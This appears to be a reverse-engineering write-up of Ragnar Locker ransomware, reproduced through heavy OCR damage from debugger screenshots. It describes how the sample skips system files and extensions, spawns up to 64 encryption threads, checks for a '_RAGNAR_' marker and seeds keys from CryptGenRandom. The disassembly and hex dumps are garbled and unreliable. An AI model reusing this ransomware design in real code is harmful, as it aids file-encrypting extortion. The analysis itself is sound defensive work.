oump i @oump2  Woump3  @Moumps  @oumps @ watch1  Ix=llocals ) struct [9519c91c | 0019CD40 | L” \\hk?\\E:kkSREcvcbé. EIN\\RGI‘I‘{‘EEBS-IEDES. ™>t”
[address [Hex [ascIz [ gli2coonons

When all files/directories have been iterated and went through the checks, i.e.,
FindNextFileW() returns NULL, it will then start iterating again through all files/directories.
The goal, this time, is to look for files specifically. For every file encountered, it compares its
name against a set of possible filenames. These filenames are:



The ransom note filename

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
bootmgr
bootmgr.efi
bootmgfw.efi
desktop.ini
iconcache.db
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db

If the currently found file's name matches any of the above filenames, then nothing is done it

with and

it is skipped.

FFD& eall esi =
8945 F8 mov dword ptr ss:|[Jebp-sj,eax | STEE FED
83F8 FF cmp eax,FFFFFFFF EAX  00GAITES
v orsd Asozooco R EOEMENEDR EBX  77CE7740 <kernel32.1strcmpiws
OF1F00 nop dword ptr ds:[eax],eax ECx DEF4EFES
F685 6BFCFFFF 10| test byte ptr ss:[ebp-3238],10
EIP ~ DF85 ES0L0000 jne edp.401E25 EDX 00000000
® (| DD201C 8D45 10 lea eax,dword ptr ss:|[febp+10{ EEE  0013BC34
® (| DD401C40 50 push eax ESP  OODL3AFGC
| 00401C41 8D85 S4F7FFFF lea eax,dword ptr ss:[ebp-sSacl ESI 77CF3F90 <kernel32.FindFirstFilews
| 00401C4 5 push eax EDI 77030400 <kernel32. 1strcpyw>
e [ 0D401Ca8 68 04010000 push 104
® | 00401C4D FF75 O push dword ptr ss:|[Jebp+s] EIP 00401C37 edp. 00401C37
e [ 0D401cs0 FF15 78814000 €all dword ptr ds:[<&GetFullPathNamew=]
e [ 0D401C56 a5co test eax,eax 202
----e|| 00401C58| ~ OF84 E9010000 je edp.401E47 EEL’SGSEE gooigggg
e || 00401C5E BD85 94FCFFFF Tlea eax,dword ptr ss:|Jebp-36C]] o o DE O
o | vos01CE4 50 push eax QE 0 3£
o [ 00401CES FF75 10 push dword ptr ss:[Jebp+10] SE 0 TFO IF 1
e [ 00401Ce8 FFD7 ganl edi
® || 00401C6A 8D85 S4F7FFFF lea eax,dword ptr ss:llebp-sacl LastError 00000012 (ERROR_NO_MORE_FILES)
e [ opa0icro 50 ush eax LastStatus 80000006 (STATUS_NO_MORE_FILES)
®| 00401C71 FF15 94814000 €all dword ptr ds:[<&PathFindExtensionw:>]
| 00401C77 8B7D 10 mov edi,dword ptr ss:|[febp+10{ G5 002B FS 0053
|| 00401C7A 33F6 xor esi,esi ES 002B DS 002B
® || 00401C7C 8945 B8 mov dword ptr ss:|febp-4s],eax CS 0023 55 002B
@ || 00401CTF C745 BC 10A14000 | mov dword ptr ss:febp-44],edp.40a110
e[ 00401CE6 C745 CO 00844000 | mov dword ptr ss:[ebp-40],edp.405400 ST(0) 00000000000000000000 xB7r0 Empty O.000000000000000000
. gﬂjgiggg g:g Eg %gg::ggg oy g:g;g pg; S E:Ep'ig} .:gp.:gﬁtﬁc& ST(1) 00000000000000000000 x87rl Empty O.000000000000000000
sst -33 . 40842
o | 00401C3E €745 CC 48844000 mov dword {'m» ss:[ehg—34]:edg.4us44s ST(2) 00000000000000000000 x87r2 Empty 0.000000000000000000
e || D0401CAZ C745 DO 64844000 mov dword ptr ss:febp-30],edp. 408464 ST(3) 00000000000000000000 X87r3 EmMpTy 0.000000000000000000
e || 00401CA9 C745 D4 74844000 mov dword ptr ss:|ebp-zC,edp. 408474 5T(4) 00000000000000000000 X87r4 Empty O.000000000000000000
e [ oD401CED C745 D8 BC844000|mov dword ptr ss:[ebp-28],edp.40848C ST(5) 40028000000000000000 x87r5 Empty &.000000000000000000
e | 00401CET C745 DC A8844000 | mov dword ptr ss:flebp-24],edp. 408448
® || D0401CBE C745 EO CO844000 | mov dword ptr ss:|[febp-20],edp.4084C0 Default (stdeal)
® || 00401CCS C745 E4 DC844000 mov dword ptr ss:febp-i1cl,edp. 1: [espt4] 77D30230 <kernel3Z.lstrcath>
e || 00401CCC C745 E8 E8544000 mov dword ptr ss:febp-15],edp.40584ES8 2: [espt8] 77CE7740 <kernel3z.lstrocmpiw>
e [ 0040103 €745 EC 00854000 mov dword ptr ss:febp-14],edp.408500 v|3: [esp+C] OOD2EDD2A
o S : T S > 4: [esp+10] 0000002A
Woump1 @Woump2  @Woump3  @Wpump4 @ Dumps @ watch1 b=l Locals 77D30230 | kernel32. 77030230
0013AFT 4| 77CE7740 | kernel32. 77CE77 40
GEECEED i - = - ASCIT * | 00194F75 | D0ZEDD2A
00408400[61/ 00 75 00[Z4 00 GF 00[72 00 75 00[6E 00 2E 0O|@.u.t.c.r.u.n... D0194F 7 | OOODDOZA
00408410 66 00 00 00|G2 0D GF Q0|6F 00 74 00[i.n.f...b.0.0.t. DOL3AFE0 | D0EAIFDS
00408420 GE 00 69 00|00 00 00 00(g2 00 &F 00|..i.n.j..... b.o. DOL3AFZ4 | 00EA9T 88
00408430 | 6F 00 74 00| 00 GF Q0[6E 00 74 00|2E 00 62 00|o.t.f.o.n.t...b. DOL3AFZE | 006300CO
00408440 00 00 00 00|§2 Q0 6F QO|6F 00 74 00|i.M..... b.o.o.t. OO19AFEC | DODDOOEZ
00408450|73 00 65 00|63 00 74 0OO|2E 00 62 00|Gl 00 68 00|s.e.c.T...b.d.k. 0D19AFS0 | DODDOOSE
00408460 | 00 00 00 00 6F 00 74 00|&D 00 &7 00|....b.0.0.t.m.g. 0D19AF94 | 00010000
0040847072 00 00 00 6F 00 74 00|ED 00 &7 QO|r...b.o.0.t.m.g. 0019AF 98 | 00000000
00408480|72 00 2E 00|65 00 66 00|63 00 00 00|&2 D0 &F QO|r...e.f.i...b.o. DOL3AF3C | 000D000F
00408490 | 6F 00 74 00 72 66 00 77 OO|2E D0 65 0O0|o.t.m.g.f.w...e. 0O13AFAD | 00000000
00408440 00 00 00 00|64 OO 65 0O0(Z f.i.....d.e.s k. 0019AFA4 | 00000000
004084B0 | Z 70 00 2E 0O €9 00 00 00|t.0.p...7.n.d... D0194FAS | ODODDOEZ
004084C0| 69 00 63 00|GE 00 GE 00 i.c.o.mc.a.c.h. DOLIAFAC | 00000000
004084D0| 65 00 2E 00|64 00 62 00 6E 00 74 00|e...d.b..... n.t. DOL3AFE0 | 00000000
004084E0| 6C 00 64 00|72 00 00 0O 75 00 73 00|1.d.r...n.c.u.s. DO194FR4 | 00198008
004084F0| 65 00 72 00|2E 00 64 0O 00 00 00 0O|e. feifocccs DO19AFRE | 77E6A040 | ntd11. 77E6AD40
00408500 | 6E 00 74 00|75 00 73 0O 2E D0 64 0O|n. e.r DOLSAFEC | DCDDREFE
00408510| 61 00 74 00 GE 00D &7 00|00 00 00 00|a. .0.9. DOLSAFCO | FEEFEFEE
00408520| 6E 00 74 00|75 00 73 0O|65 00 72 00 n. .e.;.. DOL9AFC 4| 00198058
00408530 | GE_00 €9 00|00 00 00 00(Z Z5 00 &D 00|n. cieeib = = =
00408540 62 00 73 O0|2E 00 64 00|62 00 00 00|2E 00 64 00|b. . o || SR REAETR || MR B GRINoFEEERTE $Rm TEEUUorHEREREY

If the currently found file's name does not match the above list of filenames, then extension
checks will also be performed. Specifically, the current file's extension is checked against:
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e .db

e .SYS
o dll

e .Ink
e .MSi
e .drv
° .exe

If the extension of the current file's name matches any of the above list of extensions, then
nothing is done with it and it is skipped. If it doesn't match, however, the pointer to the file's
name will be added into a stack array.

e[00401CF7| ~ 72 EF jb edp. 401CEB ~ n
o || 00401CFS BS 01000000 moveax, 1 Hide FRU
’—- 00401CFE[ v EB 0OC jmp edp.401D0C EAX  00GA97SS
e | 00401000 BS 01000000 mov eax,l :
e[| 00401D0S| ~ E9 37FEFFFF jmp edp.401841 Eg ;2‘;5;;;2 gkegnel320lsEnannin:
e [ o0401D0A 33C0 Xor eax,eax
0401D0C 83F8 01 cmp eax, 1 EDX 00000000
0401DOF| ~ 75 7E jne edp.401DSF EEP  0019BC34
00401011 8B7D B8 mov edi,dword ptr ss:[@ebp-4sl ESE  DO19AF6C . . .
®| 00401014 33F6 xor esi,esi ESI 77CF3F90 <kernel3z.FindFirstFilen>
e 00401D16 C745 DC 4C854000|mov dword ptr ss:|[lebp-24],edp. 40854C EDI 77030400 <kernel3z. I1stropyw:>
e (| 00401D1D C745 EO0 54854000 |mov dword ptr ss:|[febp-20],edp. 408554
| oo401D24 €745 E4 60854000|mov dword ptr ss:[febp-1cf,edp. 408560 EIP  00401C37 edp.00401C37
e | o0401D2B €745 E8 6C854000|mov dword ptr ss:[Jebp-18],edp. 40856C
® | OC €745 EC 78854000 |mov dword ptr febp-14),edp. 408578 EFLAGS 00000202
@[ OC €745 FO 84854000 |mov dword ptr febp-10J, edp. 408554 ZE O PF O AF O
e [ oo401D 420 €745 F4 90854000 mov dword ptr I=bp-clll, edp. 408530 CEm BB h OE M
@ || D0401D47 FF74B5 DC push dword ptr :febptesir4-24]
® || 00401D4B 57 push edi € ® WY M
® || D0401D4C FFD3 call ebx
e || D0401D4E 85C0 test eax,eax LastError 00000012 (ERROR_NJ_MORE_FILES)
------ ¢ |[oo401D50| ~ 74 3D je edp. 401D8F Laststatus S0000006 (STATUS_NO_MORE_FILES)
e | o0401D52 46 inc esi
e | oo401D53 83FE 07 cmp esi,7 GS 002B FS 0053
e|[o0401D56| - 72 EF jb edp. 401047 ES D0ZE DS 0D02B
e[ o0401D5 8 68 2OCFOOOD push CF20 Cs 0023 55 0028
e | 00401D5D 64 08 push 8
. E;E;jgigi; %15 SCBL4000 C'ﬂ;‘ dword ptr ds:[<&GetProcessHeap=] ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
= z [y & ST(1) 00000000000000000000 xB7rl Empty 0.000000000000000000
e | 00401066 FF15 64814000 €all dword ptr ds:[<&Rtl1AllocateHeap>] .
= c 5 5 - ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
. E}E}jﬁ}ig,ﬁ 2523 Eﬁ;;FFFF '1"2: §El;3:3£§ EE: ss:E:ES—;lc] ST(2) 00000000000000000000 X87r3 Empty 0.000000000000000000
e | 00401D75 51 push ecx ST(4) 00000000000000000000 X87rd4 Empty 0.000000000000000000
e[ o0401D76 8984BED GBFEFFFF |mov dword ptr ss:[[ebp+edi+4-493],eax ST(5) 40028000000000000000 x87r5 Empty &.000000000000000000
e | oo401D7D 05 00040000 add eax,400
# || 00401D82 50 push eax Default (stdcal)
@ | 00401DB3 FF15 BCB04000 a8l dword ptr ds:[<&1strcpyw:=] 1: [esp+4] 77D30290 <kernel32.lstrcatw=>
e (| 00401D89 47 inc edi 2: [esp+B8] 77CE7740 <kernel32.lstrcmpiw=
e[ 00401D8A 897D FC mov dword ptr ss:|[Jebp-4],edi v | 3: [esp+C] 002E002A
»L_. a =— —— : o = 4: [esp+l0] 000DDDOZA
Y Dump 1 @eDump2 @ Dump3 @ Dump4 B Dump s @ watch1 =l Locals & struct OOL9AF 0| 77D30290 | Kernel3z. 77030290
e
Bl e B A 5913A7 7o | coscooza | T3 TTCETTE
0040854C [2E/ 00 64 00[62 00 00 OO[2E 00 73 00[79 00 73 00|L.d.b..... S.¥.5 REE
0040855C |00 00 00 00|2E 00 &4 00 00 00 00 00|...... “kUolcccos S
0040856C | ZE 00 6C 00(GE 00 B 00|00 00 00 0O sclzeBoconcoe m. 2
0040857C |73 00 £9 00(00 00 00 O0|2E 00 64 00(72 00 76 O0|S.Tuuese.. d.r.v SAFSS
0040858C | 00 00 00 00(2E 00 65 00|78 00 65 00|00 00 OO z ggig:'ﬁgg gggggg‘ég
0040855C | 2A 00 2E 00(2A 00 00 O0|2E 00 00 OO|2E 00 2E DO19AF90| 00000058

If 64 files in the current directory under examination have been added into the stack array
(thus passing all of the above checks), then 64 threads will be created via CreateThread().
Each of the 64 pointers in the stack array are passed as IpParameter and the routine that
handles file encryption is passed as IpStartAddress.
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72 EF jb edp. 401D47 -
68 20CFO000 push CF20 | GEE P
64 08 push & EAX  OO137650
%15 SC814000 ;3;:1 g:gr‘d ptr ds: [<&GetProcessHeap>] Esx ITCETTA0 <kernel3z.lstrempins
FF15 64814000 €&l dword ptr ds:[<@&Rt1AllocateHeaps] ECX  AFO94FF8
BB7D FC mov edi,dword ptr ss:i|febp-4] EDX 0019743E
8DSD 54FTFFFF lea ecx,dword ptr ss:[[ebp-3sac] EBP  OOL197BES
51 push ecx ESP  00196F08
8984BD 6BFBFFFF |mov dword ptr ss:[ebp+edi*4-498),eax ESI 00000000
05 00040000 add eax, 400 ERI 00000040 ‘e’
50 push eax
5;15 8C 804000 call g\yur‘d ptr ds: [<&1strcpyW=] EIP 004010DBB edp. 00401DEE
nc edl
597D FC mov dword ptr ss:|Jebp-4]J,edi
EB 03 jmp edp.401D92 EELEGSEE 50022334
00401D8F 8B7D FC mov edi,dword ptr ss:llebp-4) o ® DF O
00401092 83FF 40 cmp edi, 40 QF 0 IE
e | 00401D95 OF8C SD000000 j1 edp. 401E28 SE0 TFL1 IF1
| 00401D9E 23F6 xor esi,esi
e | 00401D9D OF1FO0 nop dword ptr ds:[eax],eax LastError 00000012 (ERROR_NO_MORE_FILES)
® || 00401DA0 8085 GBFAFFFF lea eax,dword ptr ss:[lebp-52sf LastStatus 80000006 (STATUS_NO_MORE_FILES)
® || 00401DAG 03CE add eax,esi
® || 00401DAS 50 push eax GS 002B FS 0053
e |( 00401DA o0 push 0 . ES 0O02B DS 002B
® || 00401DA FFB435 6BFBFFFF |push dword ptr ss:|[[ebp+esi-433] CS 0023 S5 002B
e | 00401DB2 68 40194000 push edp.401940
ol ooinines gﬂ:n H ST(0) 00D00DOODOOODO0DO0DD X87r0 EmMpty O.000000000000000000
EE—————>e FF1S 48814000 €317 dword prr de:[<&CreateThreads ST(1) 00000000000000000000 x87rl Empty 0.000000000000000000
e || 00401DC1 398435 BEFEFFFF | mov dword pgr ss:[ghp—esi—us],eax] ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
e | 00401DCS 83CE 04 add esi,4 ST(3) 00000000000000000000 X87r3 EMPTY 0.000000000000000000
|| D0401DCE 81FE 00010000 cmp esi,100 ST(4) 00000000000000000000 X87r4 Empty 0. 000000000000000000
e || 00401DD1 72 CD jb edp. 401DAD ST(5) 40028000000000000000 x87r5 Empty &.000000000000000000
® | 00401DD3 6A FF push FFFFFFFF ot (stdcal
| 00401DD5 6A 01 push 1 Default (stdeal)
® || 00401DD7 8D85 BBFEFFFF Tea eax,dword ptr ss:[febp-14s]] 1: [esp] 00000000
@ | 00401DDD 50 push eax 2: [espt+4] 00000000
@ | 00401DDE 6A 40 push 40 v | 3: [esp+8] 00401940 edp.00401940
o Tttt - S e 4: [esp+C] 023940048
& 0013AF&C || 00000001
@4 Dump 1 @44l Dump 2 @ Dump 3 W Dump 4 @4y Dump 5 @ watch 1 =] Locals 4 struct 0012AF70 || 77D30290| kernel32. 77030290
0019AF7 4 || 77CE7740| kerne132. 77CE7740
AEITEEE | GG = = = BT " | 00124772 || nozEDDZA
0040854C [(2E| 00 64 00|62 00 00 OD|2E 00 73 00|79 00 73 00|L.d.b..... 5.¥.5. 0019AF7C || oooooo2A
EC 00 6C 00|00 00 00 00| ...... clelozcoe e
pove e 2 e o e low [onfonfonfon S g 90134550 | casaoros

If, at the end of examination of the directory, the number of files in the stack array are less
than 64, then a thread will be created via CreateThread for each of the files. Each of the
pointers in the stack array are passed as IpParameter and the routine that handles file
encryption is also passed as IpStartAddress.

® [00401ES0 E5FF Test edi,edi ;
-------- o | 0040152 7E 74 jle edp. $01ECs A | Hide FPU
o || 00401E54 33F6 xor esi,esi EAX 00197650
@ || DD401ESE 8D85 GBFAFFFF lea eax,dword ptr ss:[Qebp-523] 5
o || 00401ESC 800480 lea eax,dword ptr ds:[eax+esi+4] EBX  77CE7740 LT IS AL
|| 00401ESF 50 push eax EeE  DEEERRE
|| 00401E6D 6A 0D push 0 EDX 00000000
o 00401 FFB4B5 GBFBFFFF |push dword ptr ss:[febp+esi+4-193] EBF  DO137BEE
e | Do401 68 40194000 push edp. 401940 ESP  DO0196F08
e || 00401 &A 00 push o ESI 00000000
o[ 00401 6A 00 push o ERI 00000010
BEE——— FF15 48814000 €alll dword ptr ds:[<&CreateThread=]
. E:gj::iE‘F 328435 BBFEFFFF |mov dword ptr ss:[[ebpresi-4-14s],eax EIP 00401E72 edp. 00401E72
. 7 inc esi
= | D0401ES0D 3BF7 cmp esi,edi
[ 00401E82 7€ D2 i1 edp.401E56 ;ELTGSEE 200223;4
o || 00401E84 6A FF push FFFFFFFF 5 5 B
e[ nos01E8BE 6A 01 push 1 QE 0 ZE
e[ D04D1ESE 8D85 BSFEFFFF lea eax,dword ptr ss:[ebp-14:] (3 @ WP & i &
|| 00401ESE 50 push eax
|| 00401EBF 57 push edi LastError 00000012 (ERROR_NO_MORE_FILES)
e || D0401E90 FF15 3C814000 €all dword ptr ds:[<&waitForMmultipleobject Laststatus 80000006 (STATUS_NO_MORE_FILES)
@ || D0401E96 33F6 xor esi,esi
e || 00401E98 85FF test edi,edi GS D02B FS 0053
------ e || 00401E9A 7E 2€ jle edp.401Ecs ES 002B D5 002B
® || D0401ESC OF1F40 00 nop dword ptr ds:[eax],eax CS5 0023 55 00ZB
@ || D0401EAD FFB4B5 BBFEFFFF |push dword ptr ss:[[ebptesi+4-145]
W EESre Fris rosodonn ;:;; o ggr'f dss E;ﬁ‘pl:gfﬁj{'g;g‘i‘] ST(0) 00000DO0DOOOD00DO0DD x87r0 Empty O.000000000000000000
| |F5rs e o bush 0 ST(1) 00000000000000000000 X87r1 Empty 0.000000000000000000
¢ || 00401EBE FF15 5C814000 €all dword ptr ds:[<&GetProcessHeap>] ST(2) 00000000000000000000 X87r2 EMpty O.000000000000000000
|| 00401EEC 50 push eax ST(3) 00000000000000000000 X87rF3 Empty 0.000000000000000000
|| 00401EBD EF15 60814000 €alll dword ptr ds: [<&HeapFrees] ST(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
o || 00401EC3 16 inc esi ST(5) 40028000000000000000 X87r5 EmMpLy 8.000000000000000000
@ || DD401ECH 3BF7 cmp esi,edi fault {stdcall
o 00401ECE 7C D8 i1 edp.201EAD Default (stdcall)
00401ECE FF75 F8 push dword ptr ss:[lebp-sl 1: [esp]
@ || DD401ECE FF15 &C804000 €all dword ptr ds:[<&FindClose=] 2: [esp+4] 00000000
@ || D0401EDL SF pop edi w | 3: [esp+8] 00401940 edp.00401940
ol == = 5 4: [esp+C] 024A3008
Weoumpl  EYpumpz  @oump3  WDump4 B4 Dump 5 & watch1  Ix=lLocals & Struct 00196E0C | 00000000
= s |10 sosnsss | o cosoise
0040854C | 2E| 00 64 00|62 OO OO DO|2E 00 73 00[79 00 73 O0|a.d.Be.... GierTs [oonnooso
0040855C | 00 00 00 00|2E 00 64 00 00 00 00 00|...... d.1.1.0.. . Gieras looatrest
0040856C | 2E 00 6C 00|GE 00 B 00|00 00 00 00[2E 00 60 00f..7.Mukeseus.n o e B

In the thread that handles file encryption, it first reads via ReadFile() the 9 last bytes of the
file. If the marker string  RAGNAR _is found, then this file will not be encrypted, as it is
already the result of previous encryption, as we will see.
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®[ 00301653 6A 00 push 0 ~ i
® | 00401655 8D4D BO lea ecx,dword ptr ss:|[Jebp-50f CE1S (0
e 00401658 51 push ecx ec
e | 00401659 6A 03 push 2 % ECDE;‘E;S,E
¢ || 00401658 50 push eax o o
o | o0an1esc 57 ush edi ECx  037EFF4C —RAGNAR_
¢ | 0040165D FF15 COS04000 €all dword ptr ds:[<€ReadFile=] ErEd  Errridod
o[ 00401663 8B45 E8 mov eax,dword ptr ss:[febp-15] [et EBF  D37EFF7O
e[ 00401666 8D4D DC lea ecx,dword ptr ss:|[lebp-24]) ESP D37EFAB4
e | 00401669 3302 xor edx,edx ESI 00000001
. 2BC1 sub eax,ecx ecy EDI 0000033C L.
. 8945 D4 mov dword ptr ss:[@ebp-2clll, eax
. 8D4D DC lea ecx,dword ptr ss:[febp-24] EIP 00401678 edp. 00401678
- 03CA add ecx,edx ec
. 8AD408 mov al,byte ptr ds:[eax+ecx]
B 3401 cmp a'l:hyte ptr ds:[ecx] acy ;ELSGSEE goozgzgz
r----® ~ 75 OE jne edp.40168A o o DF 0
1 . BE45 D4 mov eax,dword ptr ss:|[Jebp-zC[ 3 aE
! ] 0040167F 42 inc edx €3 @ 7 @ 27 &
! || 00401680 33FA 09 cmp edx,s 9:'
' e | oo401683 ~ 7C EB j1 edp. 401670 LastError 00000000 (ERROR_SUCCESS)
——®|00401685| ~ E3 48020000 jmp edp.4018D2 LastStatus COO0D00D (STATUS_INVALID_PARAMETER)
L-->e | 00401684 OF57CO Xorps xmmo, Xxmm0
| 0040168D €745 B4 00000000|mov dword ptr ss:[ebp-4cf,0 GS 002B FS 0053
e || 00401694 68 38A34000 push edp.40A338 ES 002B RS 0028
¢ | 00401699 68 10A34000 push edp. 404310 €5 0023 55 DOZB
& | D040169E 8D8D GOFFFFFF lea ecx,dword ptr ss:|[lebp-a0]
| 004016A4 OF1185 GOFFFFFF |movups xmmword ptr ss:ebp-Aof,xmmo ST(D) 00000000000000000000 X87r0 Empty O.000000000000000000
® | 004016AE 0OF1185 7OFFFFFF |movups xmmword ptr : febp-20], xmmD
o | 00401682 OF1145 80 movups xmmword ptr ss:febp-a0 xmmo ST(1) 00000000000000000000 x87rl Empty O.000000000000000000
ol 004016EE OF114% 90 movups xmmword ptr ==:[ebp-70] . xmm0 ST(2) 00000000000000000000 X87r2 EmpTy O.000000000000000000
o 004016EA ES A1140000 call edp.402B60 ST(3) 00000000000000000000 x87r3 Empty O.000000000000000000
® | 004016BF OFBG0D 33A34000 |movzx ecx,byte ptr 1 [40A333] ecy ST(4) 00000000000000000000 Xx87r4 Empty 0.000000000000000000
o || 004016CE OFBE0S 32A34000 |movzx ng,gyte ptr :Edma;z} ST(5) 00000000000000000000 X87r5 Empty 0.000000000000000000
e | D04016CD OFBEL5 37A34000 |movzx edx,byte ptr ds:[40A337
e[ 00401604 C1E1 08 shl ecx,s ecy | Default (stdeall)
@ | 00401607 or ecx,eax ey 1: [esp+4] 00401940 edp.00401940
| 00401603 C1EZ 08 shl edx,s 2: [esp+8] 0ZE7DF40
® || 004016DC OFB605 31A34000 |movzx eax,byte ptr ds:[40A331] w ([ 3: [esp+C] 762137C3 crypt32.762137C3
o . - o 3 - o 4: [esp+10] 00000001
" a) 00401940 | edp. 00401940
Woump1  @ioump2  @hoump3  @oumps  @oumps & watch1  [x=lLiocak 4 Struct 027EFABE| 00401940 | edp. 00401940
Address | Hex ASCII || 037EFABC | 0267DF 40
00743D10|5F 52 41 47 |4E 41 52 SF| 00 AB AB AB|AB AB AB AB|_RAGNAR_.sxa«aasx H;-E:“E[j ggg;g;ﬁi FEETD B2 EREEER. FEERES (oD @yt
00743D20[AB 00 00 00|00 0D OO0 O0[00 00 00 00|00 00 00 00| & eeerenraeraen 0=7EFAce | 00DDOOZC

If the marker is not found, a routine is called which performs a series of operations on both
cryptographycally random bytes resulted from the calls to CryptGenRandom() (although
immediatly later modified by another series of operations). The call to this function is seen
below. The result will later be used in the actual file encryption process.

e | 00401678 3ADL cmp al,bvte ptr ds: [ecx] A
r———-#| 0040167 A ~ 75 0OE jne edp. 401634
| ®| 0040167C S5B45 D4 mov eax,dword ptr ss:flebp-2zC] [ebp-2C] : L"boot
| & | 0040167F 42 inc edx
! & | 00401680 B3IFA 0% cmp edx,2 9: "\
! e 00401683 ~ 7C EB i1 edp. 401670
———e| D0401685| ~ E3 48020000 jmp edp.4018D2
—-—-r# | OO40168A OF57CO Xorps xmmo, xmmd
®| 0040168D C745 B4 00000000 mov dword ptr ss:|[ebp-4C@,0
®| 00401694 &8 3IBAI4000 push edp.40A338
®| 00401699 68 10A34000 push edp.40A310
®| 0040169E 8D 8D GOFFFFFF lea ecx,dword ptr ss:[ebp-A0]
& 00401644 OF1185 GOFFFFFF |movups xmmword ptr ss:|[[ebp-a0],xmmd
® | 00401G6AE OF1185 T7OFFFFFF |movups xmmword ptr ss:[febp-20§(, xmmO
®| 004016B2 OF1145 80 movups xmmword ptr ss:|febp-50§, xmm0
®| 00401686 OF1145 20 movups xmmword ptr ss:|febp-70§ , xmmo
® || 004016BA ES8 All40000 call edp.402B60
@ | 004016BF OFBGOD 33A34000 |movzx ecx,byte ptr ds:[40A333]
®| 004016CE OFBGOS 32A34000 |movzx eax,byte ptr ds:[40Aa332]
®| 004016CD OFBE1S 37A34000 |movzx edx,bvte ptr ds:[40A337]
®| 00401604 C1E]1 08 shl ecx,s
#®| 004016D7 OBCS oFr ecx,eax
| 00401605 ClEZ 08 shl edx,8
®| 004016DC DFBGOS 31A34000 |movzx eax,byte ptr ds:[40a331]
®| 004016E3 C1E1 08 shl ecx,s
& | 004016EG OBCSE oFr ecCcx,eax
#| 004016E8 C745 84 00000000 |mov dword ptr ss:|Jebp-7C],0
@ | O04016EF OFBG&0OS 20AZ4000 |movzx eax,byte ptr ds:[40A330]
& | 004016F6 C1E1 08 shl ecx,s
& | 004016F9 OBCE oFr ecCx,eax
®| 004016FB C745 80 00000000 (mov dword ptr ss:[[ebp-s07,0
®| 00401702 OFBGO5S 36A34000 |movzx eax,byte ptr ds:[40A336]
& | 00401709 OBD O or edx,eax
®| 0040170B 898D TBFFFFFF mov dword ptr ss:[lebp-88], ecx
e 00401711 BEOD 34A34000 mov ecx,dword ptr ds:[404334]
®| 00401717 Cl1EZ 08 shl edx,s
®| 00401714 OFBGLCS movzx eax,ch
& | 0040171D &64A 04 push 4
®| 0040171F DEDO or edx,eax L]
ol PR ) >

A teaser on these operations is demonstrated in the following image.
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Then

00402B60
00402B61
00402B63
00402BE64
00402865
00402B6E
00402B6A
00402B6C
00402B7 2
00402ZB7 3
00402B7 6
00402B79
00402B7D
00402B81
0040ZB54
00402BE6
00402B8A
00402BED
00402B5F
o00402B92
00402B95
0040ZB97
00402B99
00402B90
00402BAL
00402BA4
00402BAG
00402BA8
00402BAD
O0402BAF
00402BB2
00402BES
00402BB7
0040ZBBA
00402BEBE
00402BC2
00402BCS
00402BCT
O0402BCE

O0F84 A1010000
Ee

8BTS 0OC
OF57CO
OFBE56 03
OFBG&46 02
ClE2 08
QEDO
OFBE46 0L
ClE2 08
QOBEDD
OFBE0DGE
C1EZ2 08
QEDD

5913
OFEE&4F 03
OFBG47 02
C1E1 08
0BCE
OFB647 01
ClE1l 08
0BCSE
OFBE0OT
C1lE1 08
OBCSB

894B 04
OFBG&4F 07
OFBE47 06
C1lE1 08
OBCB
OFBG&47 05
C1E1 08

push ebp

mov ebp,esp

push ebx

push edi

mov edi,dword ptr
mov ebx,ecx

test edi,edi

je edp.402D13
push esi

mov esi,dword ptr ss:[[ebp+C]]
Xorps xmmd,xmmo

movzx edx,byte ptr ds:[esi+3]
mMoOVZX eax,byte ptr ds:[esi+2]
shl edx,8

or edx,eax

MOVZX eax,byte prtr ds:[esi+l1]
shl edx,3

or edx,eax

MOVZX eax,byte ptr ds:[esi]
shl edx,s

or edx,eax

mov dword ptr ds:[ebx],edx
MOVZX ecx,byte prtr ds:[edi+3]
MoOVZX eax,byte ptr ds:[edi+2]
shl ecx,s

or ecx,eax

mMoOVEX eax,byte ptr ds:[edi+1]
shl ecx,s

or ecx,eax

movzx eax,byte ptr ds:[edi]
shl ecx,8

or ecx,eax

mov dword ptr ds:[ebx+4],ecx
mMoOVEX ecx,byte ptr ds:[edi+7]
MOVZX eax,byte prtr ds:[edi+s]
shl ecx,3

or ecx,eax

movZX eax,byte ptr ds:[edi+5]
shl ecx,8

s5:[febp+&]

the actual routine that encrypts the file is called.

[ebp+8] : L" MW\ 7

®| O04017ES8 FF15 68804000
®( 004017BE 6A 00
@ 004017C0O 8945 C4
®| 004017C3 BD4E A4
®| 004017C6E 50
®| 004017C7 53
®| 004017C8 FF75 F&
®( 004017CB
®| 004017CC FF15 CO0O804000
®| 004017D2 BECO
----®| 00401704 ~ 74 56
®| 00401706 6A 0O
®( 004017D8 B8D45 AS
®| 004017DB 50
®| 004017DC FF75 CC
®| 004017DF FF75 C8
®| 0O04017E2 57
®( 004017E3 FF15 68304000
®| DD4017E9D FF75 EC
®| OD4017EC BEB4E FB
®| O04017EF 8D8D GOFFFFFF
®| OD4017F5 53
®( 004017F6 50
®( 004017F7
|| DD4D17FB E8 C20F000DD
®| 004017FD
®| O04017FF 53
®| 00401800 6A D0
®( 00401802 FF75 C4
®| OD401EB0S 57
®| 00401806 FF15 30814000
®| 0040180C 6A
®| 0040180E 8D45 AD
®( 00401811 50
®| 00401812 53
®| 00401813 FF75 F8
®| 00401816 57
®| 00401817 FF15 20814000
®( 0040181D 6A 00
oll —mmisas e
<

gall dword ptr ds:

push 0

mov dword ptr ss:[lebp-3CH,eax

lea eax,dword ptr
push eax
push ebx

push dword ptr ss:

push edi

€8l dword ptr ds:

test eax,eax

je edp.40182C
push 0

lea eax,dword ptr
push eax

push dword ptr

push dword ptr ;;:

push edi

€all dword ptr ds:

push dword ptr s
mov eax,dword ptr
lea ecx,dword ptr
push ebx

push eax

push eax

€all edp.4027C00
push 0

push ebx

push

push ed
call
push o

lea eax,dword ptr
push eax

push ebx

push dword ptr ss:

push ed

i
€all dword ptr ds:

push 0

0
push dword ptr ss:
1

dword ptr ds:

[<&SetFilePointerEx>] Hide FPU
T b Cet_l eax  oooooooo
ss:[lebp-scl EBX 77CE7740 <kernel3z.lstrempiwe:
ECX  79BI4E42
febp-si EDX 00000000
EEF 00199540
[<tReadFiles] ESP  001938D3
ESI 00000001
EDI 00000001
s5:[jebp-5&l EIP  00D401E96 edp.DD401E96
iEepe—2dl (et | EFLAGS 00000244
